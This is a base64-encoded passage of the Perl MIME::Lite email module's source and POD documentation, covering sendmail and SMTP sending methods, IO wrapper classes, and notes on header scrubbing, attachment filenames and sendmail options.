ZiAkZnJvbV9hZGRyOwoJICAgIH0KCX0KCgkjIyMgT3BlbiB0aGUgY29tbWFuZCBpbiBhIHRhaW50 LXNhZmUgZmFzaGlvbjoKCW15ICRwaWQgPSBvcGVuIFNFTkRNQUlMLCAifC0iOyAKCWRlZmluZWQo JHBpZCkgb3IgZGllICJvcGVuIG9mIHBpcGUgZmFpbGVkOiAkIVxuIjsKCWlmICghJHBpZCkgeyAg ICAjIyMgY2hpbGQKCSAgICBleGVjKEBjbWQpIG9yIGRpZSAiY2FuJ3QgZXhlYyAkcHtTZW5kbWFp bH06ICQhXG4iOwoJICAgICMjIyBOT1RSRUFDSEVECgl9CgllbHNlIHsgICAgICAgICAgIyMjIHBh cmVudAoJICAgICRzZWxmLT5wcmludChcKlNFTkRNQUlMKTsKCSAgICBjbG9zZSBTRU5ETUFJTCB8 fCBkaWUgImVycm9yIGNsb3NpbmcgJHB7U2VuZG1haWx9OiAkISAoZXhpdCAkPylcbiI7CgkgICAg cmV0dXJuIDE7Cgl9CiAgICB9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCj1p dGVtIHNlbmRfYnlfc210cCBBUkdTLi4uCgpJPEluc3RhbmNlIG1ldGhvZC4+ClNlbmQgbWVzc2Fn ZSB2aWEgU01UUCwgdXNpbmcgTmV0OjpTTVRQLiAgClRoZSBvcHRpb25hbCBBUkdTIGFyZSBzZW50 IGludG8gTmV0OjpTTVRQOjpuZXcoKTogdXN1YWxseSwgdGhlc2UgYXJlCgogICAgTUFJTEhPU1Qs IE9QVElPTj0+VkFMVUUsIC4uLgoKTm90ZSB0aGF0IHRoZSBsaXN0IG9mIHJlY2lwaWVudHMgaXMg dGFrZW4gZnJvbSB0aGUgCiJUbyIsICJDYyIgYW5kICJCY2MiIGZpZWxkcy4KClJldHVybnMgdHJ1 ZSBvbiBzdWNjZXNzLCBmYWxzZSBvciBleGNlcHRpb24gb24gZXJyb3IuCgo9Y3V0CgojIyMgUHJv dmlkZWQgYnkgQW5kcmV3IE1jUmFlLiBWZXJzaW9uIDAuMiAgYW5tICAwOVNlcDk3CiMjIyBDb3B5 cmlnaHQgMTk5NyBPcHRpbWF0aW9uIE5ldyBaZWFsYW5kIEx0ZC4KIyMjIE1heSBiZSBtb2RpZmll ZC9yZWRpc3RyaWJ1dGVkIHVuZGVyIHRoZSBzYW1lIHRlcm1zIGFzIFBlcmwuCiMKc3ViIHNlbmRf Ynlfc210cCB7CiAgICBteSAoJHNlbGYsIEBhcmdzKSA9IEBfOwoKICAgICMjIyBXZSBuZWVkIHRo ZSAiRnJvbToiIGFuZCAiVG86IiBoZWFkZXJzIHRvIHBhc3MgdG8gdGhlIFNNVFAgbWFpbGVyOgog ICAgbXkgJGhkciAgPSAkc2VsZi0+ZmllbGRzKCk7ICAgCiAgICBteSAkZnJvbSA9ICRzZWxmLT5n ZXQoJ0Zyb20nKTsKICAgIG15ICR0byAgID0gJHNlbGYtPmdldCgnVG8nKTsKCiAgICAjIyMgU2Fu aXR5IGNoZWNrOgogICAgZGVmaW5lZCgkdG8pIG9yIENhcnA6OmNyb2FrICJzZW5kX2J5X3NtdHA6 IG1pc3NpbmcgJ1RvOicgYWRkcmVzc1xuIjsKIAkgICAgICAgCiAgICAjIyMgR2V0IHRoZSBkZXN0 aW5hdGlvbnMgYXMgYSBzaW1wbGUgYXJyYXkgb2YgYWRkcmVzc2VzOgogICAgbXkgQHRvX2FsbCA9 IGV4dHJhY3RfYWRkcnMoJHRvKTsKICAgIGlmICgkQVVUT19DQykgewoJZm9yZWFjaCBteSAkZmll bGQgKHF3KENjIEJjYykpIHsKCSAgICBteSAkdmFsdWUgPSAkc2VsZi0+Z2V0KCRmaWVsZCk7Cgkg ICAgcHVzaCBAdG9fYWxsLCBleHRyYWN0X2FkZHJzKCR2YWx1ZSkgaWYgZGVmaW5lZCgkdmFsdWUp OwoJfQogICAgfQoKICAgICMjIyBDcmVhdGUgU01UUCBjbGllbnQ6CiAgICByZXF1aXJlIE5ldDo6 U01UUDsKICAgIG15ICRzbXRwID0gTUlNRTo6TGl0ZTo6U01UUC0+bmV3KEBhcmdzKQogICAgICAg IG9yIENhcnA6OmNyb2FrKCJGYWlsZWQgdG8gY29ubmVjdCB0byBtYWlsIHNlcnZlcjogJCFcbiIp OwogICAgJHNtdHAtPm1haWwoJGZyb20pCiAgICAgICAgb3IgQ2FycDo6Y3JvYWsoIlNNVFAgTUFJ TCBjb21tYW5kIGZhaWxlZDogJCFcbiIuJHNtdHAtPm1lc3NhZ2UuIlxuIik7CiAgICAkc210cC0+ dG8oQHRvX2FsbCkKICAgICAgICBvciBDYXJwOjpjcm9haygiU01UUCBSQ1BUIGNvbW1hbmQgZmFp bGVkOiAkIVxuIi4kc210cC0+bWVzc2FnZS4iXG4iKTsKICAgICRzbXRwLT5kYXRhKCkKICAgICAg ICBvciBDYXJwOjpjcm9haygiU01UUCBEQVRBIGNvbW1hbmQgZmFpbGVkOiAkIVxuIi4kc210cC0+ bWVzc2FnZS4iXG4iKTsKCiAgICAjIyMgTUlNRTo6TGl0ZSBjYW4gcHJpbnQoKSB0byBhbnl0aGlu ZyB3aXRoIGEgcHJpbnQoKSBtZXRob2Q6CiAgICAkc2VsZi0+cHJpbnRfZm9yX3NtdHAoJHNtdHAp OwogICAgJHNtdHAtPmRhdGFlbmQoKTsKICAgICRzbXRwLT5xdWl0OwogICAgMTsKfQoKIy0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojCiMgc2VuZF9ieV9zdWIgW1wmU1VCUkVGLCBbQVJH Uy4uLl1dCiMKIyBJPEluc3RhbmNlIG1ldGhvZCwgcHJpdmF0ZS4+CiMgU2VuZCB0aGUgbWVzc2Fn ZSB2aWEgYW4gYW5vbnltb3VzIHN1YnJvdXRpbmUuCiMKc3ViIHNlbmRfYnlfc3ViIHsKICAgIG15 ICgkc2VsZiwgJHN1YnJlZiwgQGFyZ3MpID0gQF87CiAgICAmJHN1YnJlZigkc2VsZiwgQGFyZ3Mp Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgo9aXRlbSBzZW5kbWFpbCBDT01N QU5ELi4uCgpJPENsYXNzIG1ldGhvZCwgREVQUkVDQVRFRC4+ICAKRGVjbGFyZSB0aGUgc2VuZGVy IHRvIGJlICJzZW5kbWFpbCIsIGFuZCBzZXQgdXAgdGhlICJzZW5kbWFpbCIgY29tbWFuZC4KSTxZ b3Ugc2hvdWxkIHVzZSBzZW5kKCkgaW5zdGVhZC4+Cgo9Y3V0CgpzdWIgc2VuZG1haWwgewogICAg bXkgJHNlbGYgPSBzaGlmdDsKICAgICRzZWxmLT5zZW5kKCdzZW5kbWFpbCcsIGpvaW4oJyAnLCBA XykpOwp9Cgo9YmFjawoKPWN1dAoKCgojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiM9 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCj1oZWFkMiBNaXNjZWxsYW5lb3VzCgo9b3Zl ciA0Cgo9Y3V0CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgo9aXRlbSBxdWlldCBP Tk9GRgoKSTxDbGFzcyBtZXRob2QuPiAgClN1cHByZXNzL3Vuc3VwcHJlc3MgYWxsIHdhcm5pbmdz IGNvbWluZyBmcm9tIHRoaXMgbW9kdWxlLgoKICAgIE1JTUU6OkxpdGUtPnF1aWV0KDEpOyAgICAg ICAjIyMgSSBrbm93IHdoYXQgSSdtIGRvaW5nCgpJIHJlY29tbWVuZCB0aGF0IHlvdSBpbmNsdWRl IHRoYXQgY29tbWVudCBhcyB3ZWxsLiAgQW5kIHdoaWxlCnlvdSB0eXBlIGl0LCBzYXkgaXQgb3V0 IGxvdWQ6IGlmIGl0IGRvZXNuJ3QgZmVlbCByaWdodCwgdGhlbiBtYXliZQp5b3Ugc2hvdWxkIHJl Y29uc2lkZXIgdGhlIHdob2xlIGxpbmUuICBDPDstKT4KCj1jdXQKCnN1YiBxdWlldCB7CiAgICBt eSAkY2xhc3MgPSBzaGlmdDsKICAgICRRVUlFVCA9IHNoaWZ0IGlmIEBfOwogICAgJFFVSUVUOwp9 Cgo9YmFjawoKPWN1dAoKCgojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09CgpwYWNrYWdlIE1JTUU6OkxpdGU6OlNNVFA7CgojPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMg VGhpcyBjbGFzcyBqdXN0IGFkZHMgYSBwcmludCgpIG1ldGhvZCB0byBOZXQ6OlNNVFAuCiMgTm90 aWNlIHRoYXQgd2UgZG9uJ3QgdXNlL3JlcXVpcmUgaXQgdW50aWwgaXQncyBuZWVkZWQhCgp1c2Ug c3RyaWN0Owp1c2UgdmFycyBxdyggQElTQSApOwpASVNBID0gcXcoTmV0OjpTTVRQKTsKCnN1YiBw cmludCB7IHNoaWZ0LT5kYXRhc2VuZChAXykgfQoKCgojPT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgpwYWNrYWdlIE1JTUU6OkxpdGU6 OklPX0hhbmRsZTsKCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT0KCiMjIyBXcmFwIGEgbm9uLW9iamVjdCBmaWxlaGFuZGxlIGluc2lk ZSBhIGJsZXNzZWQsIHByaW50YWJsZSBpbnRlcmZhY2U6CiMjIyBEb2VzIG5vdGhpbmcgaWYgdGhl IGdpdmVuICRmaCBpcyBhbHJlYWR5IGEgYmxlc3NlZCBvYmplY3QuCnN1YiB3cmFwIHsKICAgIG15 ICgkY2xhc3MsICRmaCkgPSBAXzsKICAgIG5vIHN0cmljdCAncmVmcyc7CgogICAgIyMjIEdldCBk ZWZhdWx0LCBpZiBuZWNlc3Nhcnk6CiAgICAkZmggb3IgJGZoID0gc2VsZWN0OyAgICAgICAgIyMj IG5vIGZpbGVoYW5kbGUgbWVhbnMgc2VsZWN0ZWQgb25lCiAgICByZWYoJGZoKSBvciAkZmggPSBc KiRmaDsgICAgIyMjIHNjYWxhciBiZWNvbWVzIGEgZ2xvYnJlZgogICAgCiAgICAjIyMgU3RvcCBy aWdodCBhd2F5IGlmIGFscmVhZHkgYSBwcmludGFibGUgb2JqZWN0OgogICAgcmV0dXJuICRmaCBp ZiAocmVmKCRmaCkgYW5kIChyZWYoJGZoKSBuZSAnR0xPQicpKTsKCiAgICAjIyMgR2V0IGFuZCBy ZXR1cm4gYSBwcmludGFibGUgaW50ZXJmYWNlOgogICAgYmxlc3MgXCRmaCwgJGNsYXNzOyAgICAg ICAgICMjIyB3cmFwIGl0IGluIGEgcHJpbnRhYmxlIGludGVyZmFjZQp9CgojIyMgUHJpbnQ6CnN1 YiBwcmludCB7CiAgICBteSAkc2VsZiA9IHNoaWZ0OwogICAgcHJpbnQgeyQkc2VsZn0gQF87Cn0K CgojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09CgpwYWNrYWdlIE1JTUU6OkxpdGU6OklPX1NjYWxhcjsKCiM9PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCiMjIyBXcmFwIGEg c2NhbGFyIGluc2lkZSBhIGJsZXNzZWQsIHByaW50YWJsZSBpbnRlcmZhY2U6CnN1YiB3cmFwIHsK ICAgIG15ICgkY2xhc3MsICRzY2FsYXJyZWYpID0gQF87CiAgICBkZWZpbmVkKCRzY2FsYXJyZWYp IG9yICRzY2FsYXJyZWYgPSBcIiI7CiAgICBibGVzcyAkc2NhbGFycmVmLCAkY2xhc3M7Cn0KCiMj IyBQcmludDoKc3ViIHByaW50IHsKICAgIG15ICRzZWxmID0gc2hpZnQ7CiAgICAkJHNlbGYgLj0g am9pbignJywgQF8pOwogICAgMTsKfQoKCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCnBhY2thZ2UgTUlNRTo6TGl0ZTo6SU9fU2Nh bGFyQXJyYXk7CgojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09CgojIyMgV3JhcCBhbiBhcnJheSBpbnNpZGUgYSBibGVzc2VkLCBwcmlu dGFibGUgaW50ZXJmYWNlOgpzdWIgd3JhcCB7CiAgICBteSAoJGNsYXNzLCAkYXJyYXlyZWYpID0g QF87CiAgICBkZWZpbmVkKCRhcnJheXJlZikgb3IgJGFycmF5cmVmID0gW107CiAgICBibGVzcyAk YXJyYXlyZWYsICRjbGFzczsKfQoKIyMjIFByaW50OgpzdWIgcHJpbnQgewogICAgbXkgJHNlbGYg PSBzaGlmdDsKICAgIHB1c2ggQCRzZWxmLCBAXzsKICAgIDE7Cn0KCjE7Cl9fRU5EX18KCgojPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 Cgo9aGVhZDEgTk9URVMKCgo9aGVhZDIgSG93IGRvIEkgcHJldmVudCAiQ29udGVudCIgaGVhZGVy cyBmcm9tIHNob3dpbmcgdXAgaW4gbXkgbWFpbCByZWFkZXI/CgpBcHBhcmVudGx5LCBzb21lIHBl b3BsZSBhcmUgdXNpbmcgbWFpbCByZWFkZXJzIHdoaWNoIGRpc3BsYXkgdGhlIE1JTUUKaGVhZGVy cyBsaWtlICJDb250ZW50LWRpc3Bvc2l0aW9uIiwgYW5kIHRoZXkgd2FudCBNSU1FOjpMaXRlIG5v dAp0byBnZW5lcmF0ZSB0aGVtICJiZWNhdXNlIHRoZXkgbG9vayB1Z2x5Ii4gIAoKU2lnaC4KClkn a25vdywga2lkcywgdGhvc2UgaGVhZGVycyBhcmVuJ3QganVzdCB0aGVyZSBmb3IgY29zbWV0aWMg cHVycG9zZXMuClRoZXkgaGVscCBlbnN1cmUgdGhhdCB0aGUgbWVzc2FnZSBpcyBJPHVuZGVyc3Rv b2Q+IGNvcnJlY3RseSBieSBtYWlsIApyZWFkZXJzLiAgQnV0IG9rYXksIHlvdSBhc2tlZCBmb3Ig aXQsIHlvdSBnb3QgaXQuLi4gCmhlcmUncyBob3cgeW91IGNhbiBzdXBwcmVzcyB0aGUgc3RhbmRh cmQgTUlNRSBoZWFkZXJzLiAgCkJlZm9yZSB5b3Ugc2VuZCB0aGUgbWVzc2FnZSwgZG8gdGhpczoK CgkkbXNnLT5zY3J1YjsKCllvdSBjYW4gc2NydWIoKSBhbnkgcGFydCBvZiBhIG11bHRpcGFydCBt ZXNzYWdlIGluZGVwZW5kZW50bHk7Cmp1c3QgYmUgYXdhcmUgdGhhdCBpdCB3b3JrcyByZWN1cnNp dmVseS4gIEJlZm9yZSB5b3Ugc2NydWIsCm5vdGUgdGhlIHJ1bGVzIHRoYXQgSSBmb2xsb3c6Cgo9 b3ZlciA0Cgo9aXRlbSBDb250ZW50LXR5cGUKCllvdSBjYW4gc2FmZWx5IHNjcnViIHRoZSAiY29u dGVudC10eXBlIiBhdHRyaWJ1dGUgaWYsIGFuZCBvbmx5IGlmLCAKdGhlIHBhcnQgaXMgb2YgdHlw ZSAidGV4dC9wbGFpbiIgd2l0aCBjaGFyc2V0ICJ1cy1hc2NpaSIuIAoKPWl0ZW0gQ29udGVudC10 cmFuc2Zlci1lbmNvZGluZwoKWW91IGNhbiBzYWZlbHkgc2NydWIgdGhlICJjb250ZW50LXRyYW5z ZmVyLWVuY29kaW5nIiBhdHRyaWJ1dGUgCmlmLCBhbmQgb25seSBpZiwgdGhlIHBhcnQgdXNlcyAi N2JpdCIsICI4Yml0Iiwgb3IgImJpbmFyeSIgZW5jb2RpbmcuCllvdSBhcmUgZmFyIGJldHRlciBv ZmYgZG9pbmcgdGhpcyBpZiB5b3VyIGxpbmVzIGFyZSB1bmRlciAxMDAwIApjaGFyYWN0ZXJzLiAg R2VuZXJhbGx5LCB0aGF0IG1lYW5zIHlvdSBJPGNhbj4gc2NydWIgaXQgZm9yIHBsYWluCnRleHQs IGFuZCB5b3UgY2FuIEk8bm90PiBzY3J1YiB0aGlzIGZvciBpbWFnZXMsIGV0Yy4KCj1pdGVtIENv bnRlbnQtZGlzcG9zaXRpb24KCllvdSBjYW4gc2FmZWx5IHNjcnViIHRoZSAiY29udGVudC1kaXNw b3NpdGlvbiIgYXR0cmlidXRlIAppZiB5b3UgdHJ1c3QgdGhlIG1haWwgcmVhZGVyIHRvIGRvIHRo ZSByaWdodCB0aGluZyB3aGVuIGl0IGRlY2lkZXMKd2hldGhlciB0byBzaG93IGFuIGF0dGFjaG1l bnQgaW5saW5lIG9yIGFzIGEgbGluay4gIEJlIGF3YXJlCnRoYXQgc2NydWJiaW5nIGJvdGggdGhl IGNvbnRlbnQtZGlzcG9zaXRpb24gYW5kIHRoZSBjb250ZW50LXR5cGUKbWVhbnMgdGhhdCB0aGVy ZSBpcyBubyB3YXkgdG8gInJlY29tbWVuZCIgYSBmaWxlbmFtZSBmb3IgdGhlIGF0dGFjaG1lbnQh CgpCPE5vdGU6PiB0aGVyZSBhcmUgcmVwb3J0cyBvZiBicmFpbi1kZWFkIE1VQXMgb3V0IHRoZXJl IHRoYXQgCmRvIHRoZSB3cm9uZyB0aGluZyBpZiB5b3UgSTxwcm92aWRlPiB0aGUgY29udGVudC1k aXNwb3NpdGlvbi4KSWYgeW91ciBhdHRhY2htZW50cyBrZWVwIHNob3dpbmcgdXAgaW5saW5lIG9y IHZpY2UtdmVyc2EsCnRyeSBzY3J1YmJpbmcgdGhpcyBhdHRyaWJ1dGUuCgo9aXRlbSBDb250ZW50 LWxlbmd0aAoKWW91IGNhbiBhbHdheXMgc2NydWIgImNvbnRlbnQtbGVuZ3RoIiBzYWZlbHkuCgo9 YmFjawoKCj1oZWFkMiBIb3cgZG8gSSBnaXZlIG15IGF0dGFjaG1lbnQgYSBbZGlmZmVyZW50XSBy ZWNvbW1lbmRlZCBmaWxlbmFtZT8KCkJ5IHVzaW5nIHRoZSBGaWxlbmFtZSBvcHRpb24gKHdoaWNo IGlzIGRpZmZlcmVudCBmcm9tIFBhdGghKToKCgkkbXNnLT5hdHRhY2goVHlwZSA9PiAiaW1hZ2Uv Z2lmIiwKCSAgICAgICAgICAgICBQYXRoID0+ICIvaGVyZS9pcy90aGUvcmVhbC9maWxlLkdJRiIs CgkgICAgICAgICAgICAgRmlsZW5hbWUgPT4gImxvZ28uZ2lmIik7CgpZb3Ugc2hvdWxkIEk8bm90 PiBwdXQgcGF0aCBpbmZvcm1hdGlvbiBpbiB0aGUgRmlsZW5hbWUuCgoKCgo9aGVhZDIgQmVuaWdu IGxpbWl0YXRpb25zCgpUaGlzIGlzICJsaXRlIiwgYWZ0ZXIgYWxsLi4uCgo9b3ZlciA0Cgo9aXRl bSAqCgpUaGVyZSdzIG5vIHBhcnNpbmcuICBHZXQgTUlNRS10b29scyBpZiB5b3UgbmVlZCB0byBw YXJzZSBNSU1FIG1lc3NhZ2VzLgoKPWl0ZW0gKgoKTUlNRTo6TGl0ZSBtZXNzYWdlcyBhcmUgY3Vy cmVudGx5IEk8bm90PiBpbnRlcmNoYW5nZWFibGUgd2l0aCAKZWl0aGVyIE1haWw6OkludGVybmV0 IG9yIE1JTUU6OkVudGl0eSBvYmplY3RzLiAgVGhpcyBpcyBhIGNvbXBsZXRlbHkgCnNlcGFyYXRl IG1vZHVsZS4KCj1pdGVtICoKCkEgY29udGVudC1sZW5ndGggZmllbGQgaXMgb25seSBpbnNlcnRl ZCBpZiB0aGUgZW5jb2RpbmcgaXMgYmluYXJ5LAp0aGUgbWVzc2FnZSBpcyBhIHNpbmdsZXBhcnQs IGFuZCBhbGwgdGhlIGRvY3VtZW50IGRhdGEgaXMgYXZhaWxhYmxlCmF0IEM8YnVpbGQoKT4gdGlt ZSBieSB2aXJ0dWUgb2YgcmVzaWRpbmcgaW4gYSBzaW1wbGUgcGF0aCwgb3IgaW4tY29yZS4KU2lu Y2UgY29udGVudC1sZW5ndGggaXMgbm90IGEgc3RhbmRhcmQgTUlNRSBmaWVsZCBhbnl3YXkgKHRo YXQncyByaWdodCwga2lkczoKaXQncyBub3QgaW4gdGhlIE1JTUUgUkZDcywgaXQncyBhbiBIVFRQ IHRoaW5nKSwgdGhpcyBzZWVtcyBwcmV0dHkgZmFpci4KCj1pdGVtICoKCk1JTUU6OkxpdGUgYWxv bmUgY2Fubm90IGhlbHAgeW91IGxvc2Ugd2VpZ2h0LiAgWW91IG11c3Qgc3VwcGxlbWVudAp5b3Vy IHVzZSBvZiBNSU1FOjpMaXRlIHdpdGggYSBoZWFsdGh5IGRpZXQgYW5kIGV4ZXJjaXNlLiAKCj1i YWNrCgoKPWhlYWQyIENoZWFwIGFuZCBlYXN5IG1haWxpbmcKCkkgdGhvdWdodCBwdXR0aW5nIGlu IGEgZGVmYXVsdCAic2VuZG1haWwiIGludm9jYXRpb24gd2Fzbid0IHRvbyBiYWQgYW4gCmlkZWEs IHNpbmNlIGEgbG90IG9mIFBlcmxlcnMgYXJlIG9uIFVOSVggc3lzdGVtcy4gClRoZSBvdXQtb2Yt dGhlLWJveCBjb25maWd1cmF0aW9uIGlzOgoKICAgICBNSU1FOjpMaXRlLT5zZW5kKCdzZW5kbWFp bCcsICIvdXNyL2xpYi9zZW5kbWFpbCAtdCAtb2kgLW9lbSIpOwoKQnkgdGhlIHdheSwgdGhlc2Ug YXJndW1lbnRzIHRvIHNlbmRtYWlsIGFyZToKCiAgICAgLXQgICAgICBTY2FuIG1lc3NhZ2UgZm9y IFRvOiwgQ2M6LCBCY2M6LCBldGMuCiAgICAgICAgICAgICAgCiAgICAgLW9pICAgICBEbyBOT1Qg dHJlYXQgYSBzaW5nbGUgIi4iIG9uIGEgbGluZSBhcyBhIG1lc3NhZ2UgdGVybWluYXRvci4KICAg ICAgICAgICAgIEFzIGluLCAiLW9pIHZleSwgaXQgdHJ1bmNhdGVkIG15IG1lc3NhZ2UuLi4gd2h5 PyEiCiAgICAgICAgICAgICAgICAKICAgICAtb2VtICAgIE9uIGVycm9yLCBtYWlsIGJhY2sgdGhl IG1lc3NhZ2UgKEkgYXNzdW1lIHRvIHRoZQogICAgICAgICAgICAgYXBwcm9wcmlhdGUgYWRkcmVz cywgZ2l2ZW4gaW4gdGhlIGhlYWRlcikuCiAgICAgICAgICAgICBXaGVuIG1haWwgcmV0dXJucywg Y2lyY2xlIGlzIGNvbXBsZXRlLiAgSmFpIEd1cnUgRGV2YSAtb2VtLgoKTm90ZSB0aGF0IHRoZXNl IGFyZSB0aGUgc2FtZSBhcmd1bWVudHMgeW91IGdldCBpZiB5b3UgY29uZmlndXJlIHRvIHVzZQp0 aGUgc21hcnRlciwgdGFpbnQtc2FmZSBtYWlsaW5nOgoKICAgICBNSU1FOjpMaXRlLT5zZW5kKCdz ZW5kbWFpbCcpOwoKSWYgeW91IGdldCAiWC1BdXRoZW50aWNhdGlvbi1XYXJuaW5nIiBoZWFkZXJz IGZyb20gdGhpcywgeW91IGNhbiBmb3JnbwpkaWRkbGluZyB3aXRoIHRoZSBlbnZlbG9wZSBieSBp bnN0ZWFkIHNwZWNpZnlpbmc6CgogICAgIE1JTUU6OkxpdGUtPnNlbmQoJ3NlbmRtYWlsJywgU2V0 U2VuZGVyPT4wKTsKCkFuZCwgaWYgeW91J3JlIG5vdCBvbiBhIFVuaXggc3lzdGVtLCBvciBpZiB5 b3UnZCBqdXN0IHJhdGhlciBzZW5kIG1haWwKc29tZSBvdGhlciB3YXksIHRoZXJlJ3MgYWx3YXlz OgoKICAgICBNSU1FOjpMaXRlLT5zZW5kKCdzbXRwJywgInNtdHAubXlpc3AubmV0Iik7CgpPciB5 b3UgY2FuIHNldCB1cCB5b3VyIG93biBzdWJyb3V0aW5lIHRvIGNhbGwuCkluIGFueSBjYXNlLCBj aGVjayBvdXQgdGhlIEw8c2VuZCgpfC9zZW5kPiBtZXRob2QuIAoKCgo9aGVhZDEgV0FSTklOR1MK Cj1oZWFkMiBHb29kLXZzLWJhZCBlbWFpbCBhZGRyZXNzZXMgd2l0aCBzZW5kX2J5X3NtdHAoKQoK SWYgdXNpbmcgTDxzZW5kX2J5X3NtdHAoKXwvc2VuZF9ieV9zbXRwPiwgYmUgYXdhcmUgdGhhdCB5 b3UgYXJlCmZvcmNpbmcgTUlNRTo6TGl0ZSB0byBleHRyYWN0IGVtYWlsIGFkZHJlc3NlcyBvdXQg b2YgYSBwb3NzaWJsZSBsaXN0CnByb3ZpZGVkIGluIHRoZSBDPFRvOj4sIEM8Q2M6PiwgYW5kIEM8 QmNjOj4gZmllbGRzLiAgVGhpcyBpcyB0cmlja3kKc3R1ZmYsIGFuZCBhcyBzdWNoIG9ubHkgdGhl IGZvbGxvd2luZyBzb3J0cyBvZiBhZGRyZXNzZXMgd2lsbCB3b3JrCnJlbGlhYmx5OgoKICAgIHVz ZXJuYW1lCiAgICBmdWxsLm5hbWVAc29tZS5ob3N0LmNvbQogICAgIk5hbWUsIEZ1bGwiIDxmdWxs Lm5hbWVAc29tZS5ob3N0LmNvbT4KClRoaXMgbGFzdCBmb3JtIGlzIGRpc2NvdXJhZ2VkIGJlY2F1 c2UgU01UUCBtdXN0IGJlIGFibGUgdG8gZ2V0CmF0IHRoZSBJPG5hbWU+IG9yIEk8bmFtZUBkb21h aW4+IHBvcnRpb24uCgpCPERpc2NsYWltZXI6PgpNSU1FOjpMaXRlIHdhcyBuZXZlciBpbnRlbmRl ZCB0byBiZSBhIE1haWwgVXNlciBBZ2VudCwgc28gcGxlYXNlCmRvbid0IGV4cGVjdCBhIGZ1bGwg aW1wbGVtZW50YXRpb24gb2YgUkZDLTgyMi4gIFJlc3RyaWN0IHlvdXJzZWxmIHRvCnRoZSBjb21t b24gZm9ybXMgb2YgSW50ZXJuZXQgYWRkcmVzc2VzIGRlc2NyaWJlZCBoZXJlaW4sIGFuZCB5b3Ug c2hvdWxkCmJlIGZpbmUuICBJZiB0aGlzIGlzIG5vdCBmZWFzaWJsZSwgdGhlbiBjb25zaWRlciB1 c2luZyBNSU1FOjpMaXRlCnRvIEk8cHJlcGFyZT4geW91ciBtZXNzYWdlIG9ubHksIGFuZCB1c2lu ZyBOZXQ6OlNNVFAgZXhwbGljaXRseSB0byAKSTxzZW5kPiB5b3VyIG1lc3NhZ2UuCgoKPWhlYWQy IEZvcm1hdHRpbmcgb2YgaGVhZGVycyBkZWxheWVkIHVudGlsIHByaW50KCkKClRoaXMgY2xhc3Mg dHJlYXRzIGEgTUlNRSBoZWFkZXIgaW4gdGhlIG1vc3QgYWJzdHJhY3Qgc2Vuc2UsCmFzIGJlaW5n IGEgY29sbGVjdGlvbiBvZiBoaWdoLWxldmVsIGF0dHJpYnV0ZXMuICBUaGUgYWN0dWFsClJGQy04 MjItc3R5bGUgaGVhZGVyIGZpZWxkcyBhcmUgbm90IGNvbnN0cnVjdGVkIHVudGlsIGl0J3MgdGlt ZQp0byBhY3R1YWxseSBwcmludCB0aGUgZGFybiB0aGluZy4KCgo9aGVhZDIgRW5jb2Rpbmcgb2Yg ZGF0YSBkZWxheWVkIHVudGlsIHByaW50KCkKCldoZW4geW91IHNwZWNpZnkgbWVzc2FnZSBib2Rp ZXMgCihpbiBMPGJ1aWxkKCl8L2J1aWxkPiBvciBMPGF0dGFjaCgpfC9hdHRhY2g+KSAtLSAKd2hl dGhlciBieSBCPEZIPiwgQjxEYXRhPiwgb3IgQjxQYXRoPiAtLSBiZSB3YXJuZWQgdGhhdCB3ZSBk b24ndCAKYXR0ZW1wdCB0byBvcGVuIGZpbGVzLCByZWFkIGZpbGVoYW5kbGVzLCBvciBlbmNvZGUg dGhlIGRhdGEgdW50aWwgCkw8cHJpbnQoKXwvcHJpbnQ+IGlzIGludm9rZWQuICAKCkluIHRoZSBw YXN0LCB0aGlzIGNyZWF0ZWQgc29tZSBjb25mdXNpb24gZm9yIHVzZXJzIG9mIHNlbmRtYWlsCndo byBnYXZlIHRoZSB3cm9uZyBwYXRoIHRvIGFuIGF0dGFjaG1lbnQgYm9keSwgc2luY2UgZW5vdWdo IG9mIAp0aGUgcHJpbnQoKSB3b3VsZCBzdWNjZWVkIHRvIGdldCB0aGUgaW5pdGlhbCBwYXJ0IG9m IHRoZSBtZXNzYWdlIG91dC4gIApOb3dhZGF5cywgJEFVVE9fVkVSSUZZIGlzIHVzZWQgdG8gc3Bv dC1jaGVjayB0aGUgUGF0aHMgZ2l2ZW4gYmVmb3JlCnRoZSBtYWlsIGZhY2lsaXR5IGlzIGVtcGxv eWVkLiAgQSB3aGlza2VyIHNsb3dlciwgYnV0IHRvbnMgc2FmZXIuCgpOb3RlIHRoYXQgaWYgeW91 IGdpdmUgYSBtZXNzYWdlIGJvZHkgdmlhIEZILCBhbmQgdHJ5IHRvIHByaW50KCkgCmEgbWVzc2Fn ZSB0d2ljZSwgdGhlIHNlY29uZCBwcmludCgpIHdpbGwgbm90IGRvIHRoZSByaWdodCB0aGluZyAK dW5sZXNzIHlvdSAgZXhwbGljaXRseSByZXdpbmQgdGhlIGZpbGVoYW5kbGUuCgpZb3UgY2FuIGdl dCBwYXN0IHRoZXNlIGRpZmZpY3VsdGllcyBieSB1c2luZyB0aGUgQjxSZWFkTm93PiBvcHRpb24s CnByb3ZpZGVkIHRoYXQgeW91IGhhdmUgZW5vdWdoIG1lbW9yeSB0byBoYW5kbGUgeW91ciBtZXNz 